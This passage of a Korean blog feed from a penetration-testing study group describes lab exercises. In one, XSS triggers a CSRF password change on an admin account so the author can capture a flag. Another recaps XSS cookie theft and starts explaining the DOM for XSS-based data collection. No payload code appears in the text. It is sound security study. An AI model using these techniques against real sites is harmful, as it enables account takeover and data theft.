srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmlxbM%2FdJMcaacScg8%2FLSty1QK6XRTBzPA6K19uu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1397&quot; height=&quot;825&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;814&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dG68K1/dJMcagc6d4r/tNFsxIBzM5YJK0AV2X9XQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dG68K1/dJMcagc6d4r/tNFsxIBzM5YJK0AV2X9XQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dG68K1/dJMcagc6d4r/tNFsxIBzM5YJK0AV2X9XQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdG68K1%2FdJMcagc6d4r%2FtNFsxIBzM5YJK0AV2X9XQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;814&quot; height=&quot;72&quot; data-origin-width=&quot;814&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제가 바꾼 게시글을 접속한 순간 버프에서도 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;mypage_update.php&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;을 위조되서 비번이 12345라고 수정되었다고 표기가 되었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실제로 확인해보니 바뀌었더라고요 . 그래서&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test12_admin에도 적용해봅시다. 관리자 vist bot에&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kOQm4/dJMcagKWaMe/alhMK13NslkoK8z4wvvuB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kOQm4/dJMcagKWaMe/alhMK13NslkoK8z4wvvuB1/img.png&quot; data-origin-width=&quot;2214&quot; data-origin-height=&quot;424&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.5776%; margin-right: 10px;&quot; data-widthpercent=&quot;51.17&quot; id=&quot;kEditorPhotosEditingImage-11&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kOQm4/dJMcagKWaMe/alhMK13NslkoK8z4wvvuB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkOQm4%2FdJMcagKWaMe%2FalhMK13NslkoK8z4wvvuB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2214&quot; height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rYxK8/dJMcabJDpo2/K46omechrDKCLOkPYkI33k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rYxK8/dJMcabJDpo2/K46omechrDKCLOkPYkI33k/img.png&quot; data-origin-width=&quot;2262&quot; data-origin-height=&quot;454&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.2596%;&quot; data-widthpercent=&quot;48.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rYxK8/dJMcabJDpo2/K46omechrDKCLOkPYkI33k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrYxK8%2FdJMcabJDpo2%2FK46omechrDKCLOkPYkI33k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2262&quot; height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자 vist bot에&amp;nbsp; 공격할 아이디 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test12_admin을 하고 URL을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS가 적용된 게시글을 작성하고 Vist을 해보았습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IqRpb/dJMcaacScPH/pNzf176zk0Wan8z2kYuNE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IqRpb/dJMcaacScPH/pNzf176zk0Wan8z2kYuNE0/img.png&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;592&quot; data-is-animation=&quot;false&quot; style=&quot;width: 75.8928%; margin-right: 10px;&quot; data-widthpercent=&quot;76.79&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IqRpb/dJMcaacScPH/pNzf176zk0Wan8z2kYuNE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIqRpb%2FdJMcaacScPH%2FpNzf176zk0Wan8z2kYuNE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ofe0A/dJMcabiyDlK/JtyMD8k6F1E8b5c6z0idv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ofe0A/dJMcabiyDlK/JtyMD8k6F1E8b5c6z0idv1/img.png&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1054&quot; data-is-animation=&quot;false&quot; style=&quot;width: 22.9445%;&quot; data-widthpercent=&quot;23.21&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ofe0A/dJMcabiyDlK/JtyMD8k6F1E8b5c6z0idv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOfe0A%2FdJMcabiyDlK%2FJtyMD8k6F1E8b5c6z0idv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1054&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ueXfg/dJMcaaKIcKO/zNP7Wn6wJZX5JMnHMstpM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ueXfg/dJMcaaKIcKO/zNP7Wn6wJZX5JMnHMstpM0/img.png&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;586&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.5143%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;48.07&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ueXfg/dJMcaaKIcKO/zNP7Wn6wJZX5JMnHMstpM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FueXfg%2FdJMcaaKIcKO%2FzNP7Wn6wJZX5JMnHMstpM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;560&quot; height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/plCm9/dJMcaivalYZ/Ujz28cesLJV3siPI2BzVfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/plCm9/dJMcaivalYZ/Ujz28cesLJV3siPI2BzVfk/img.png&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;1179&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.3229%; margin-top: 10px;&quot; data-widthpercent=&quot;51.93&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/plCm9/dJMcaivalYZ/Ujz28cesLJV3siPI2BzVfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FplCm9%2FdJMcaivalYZ%2FUjz28cesLJV3siPI2BzVfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1217&quot; height=&quot;1179&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자가 xss 적용된 게시글에 접속을 했는데 확인해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접속이 되었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;마이페이지에 flag까지 얻을수 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이런식으로&amp;nbsp; CSRF 공격을 통해 관리자 페이지에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접속할 수 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;위&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;험한 공격기법이라는 것을 알 수 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/42</guid>
      <comments>https://thjkl2004.tistory.com/42#entry42comment</comments>
      <pubDate>Wed, 7 Jan 2026 00:20:04 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 11주차 (ClientScript)   XSS 응용 (3)</title>
      <link>https://thjkl2004.tistory.com/44</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1854&quot; data-origin-height=&quot;916&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/laR48/dJMcabJAFfC/H8a8Z9OcKshmvJ7RkTCt0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/laR48/dJMcabJAFfC/H8a8Z9OcKshmvJ7RkTCt0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/laR48/dJMcabJAFfC/H8a8Z9OcKshmvJ7RkTCt0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlaR48%2FdJMcabJAFfC%2FH8a8Z9OcKshmvJ7RkTCt0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1854&quot; height=&quot;916&quot; data-origin-width=&quot;1854&quot; data-origin-height=&quot;916&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&lt;span&gt;&amp;nbsp;11&lt;/span&gt;주차&lt;/span&gt;&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저번주에는 XSS (Cross site scriping)을 활용하여&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;공격 시나리오 중 상대의 쿠키 탈취를 실습을 진행했습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음 시나리오는 DOM 객체를 이용한 개인정보를 수집하는&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;방법에 대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DOM은 무엇인가?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DOM은&amp;nbsp; Document Object Model의 약자로&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Document는 문서는&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Ob&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;ject는 객체로 번역됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;즉 문서 객체 모델로 번역을 합니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;문서는&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; &amp;lt;HTML&amp;gt; &amp;lt;body&amp;gt; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;같은 html문서의 태그는&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: justify;&quot;&gt;JavaScript가 이용할 수 있는 객체(object)로&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: justify;&quot;&gt; 만들면 그것을 문서 객체라고 합니다.&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DOM의 구조&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;889&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vVsNl/dJMcafZvsvs/pC9uocjdBwlWg8JuVyr5Y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vVsNl/dJMcafZvsvs/pC9uocjdBwlWg8JuVyr5Y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vVsNl/dJMcafZvsvs/pC9uocjdBwlWg8JuVyr5Y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvVsNl%2FdJMcafZvsvs%2FpC9uocjdBwlWg8JuVyr5Y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;678&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;889&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DOM은 트리형식의 자료구조를 가지고 있으며 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 것을 DOM tree 라고 합니다.&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;자세한 참고사항&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766660051624&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;  DOM(문서 객체 모델) 다루기 문법   총정리&quot; data-og-description=&quot;브라우저 DOM 종류 브라우저는 HTML 문서를 로드한 후, 해당 문서에 대한 모델을 메모리에 생성한다. 이때 모델은 객체의 트리로 구성되는데, 이것을 DOM tree라 한다. 문서 노드(Document Node) 트리의 &quot; data-og-host=&quot;inpa.tistory.com&quot; data-og-source-url=&quot;https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC&quot; data-og-url=&quot;https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bqm64A/hyZQATF6LM/bFt7c7uwIIEOafOfJpzUO1/img.jpg?width=800&amp;amp;height=441&amp;amp;face=0_0_800_441,https://scrap.kakaocdn.net/dn/blQNlp/hyZP3b7jMA/4HoiUQhnSIKVSysSA2V0ik/img.jpg?width=800&amp;amp;height=441&amp;amp;face=0_0_800_441,https://scrap.kakaocdn.net/dn/boOdON/hyZP76DX3R/XujrpjcLFOUM3TywFadac0/img.png?width=1200&amp;amp;height=1242&amp;amp;face=0_0_1200_1242&quot;&gt;&lt;a href=&quot;https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bqm64A/hyZQATF6LM/bFt7c7uwIIEOafOfJpzUO1/img.jpg?width=800&amp;amp;height=441&amp;amp;face=0_0_800_441,https://scrap.kakaocdn.net/dn/blQNlp/hyZP3b7jMA/4HoiUQhnSIKVSysSA2V0ik/img.jpg?width=800&amp;amp;height=441&amp;amp;face=0_0_800_441,https://scrap.kakaocdn.net/dn/boOdON/hyZP76DX3R/XujrpjcLFOUM3TywFadac0/img.png?width=1200&amp;amp;height=1242&amp;amp;face=0_0_1200_1242');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;  DOM(문서 객체 모델) 다루기 문법   총정리&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;브라우저 DOM 종류 브라우저는 HTML 문서를 로드한 후, 해당 문서에 대한 모델을 메모리에 생성한다. 이때 모델은 객체의 트리로 구성되는데, 이것을 DOM tree라 한다. 문서 노드(Document Node) 트리의&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;inpa.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;실습1&amp;gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CRIXo/dJMcaiPqxiz/MpRkWKmK3qA63lVOIVa8rK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CRIXo/dJMcaiPqxiz/MpRkWKmK3qA63lVOIVa8rK/img.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;824&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.2258%; margin-right: 10px;&quot; data-widthpercent=&quot;53.85&quot; id=&quot;kEditorPhotosEditingImage-2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CRIXo/dJMcaiPqxiz/MpRkWKmK3qA63lVOIVa8rK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCRIXo%2FdJMcaiPqxiz%2FMpRkWKmK3qA63lVOIVa8rK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;824&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sarea/dJMcafSKzJK/MtjQe4ABgqKcnuj39bskOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sarea/dJMcafSKzJK/MtjQe4ABgqKcnuj39bskOk/img.png&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;916&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.6114%;&quot; data-widthpercent=&quot;46.15&quot; id=&quot;kEditorPhotosEditingImage-3&quot;&gt;&lt;img 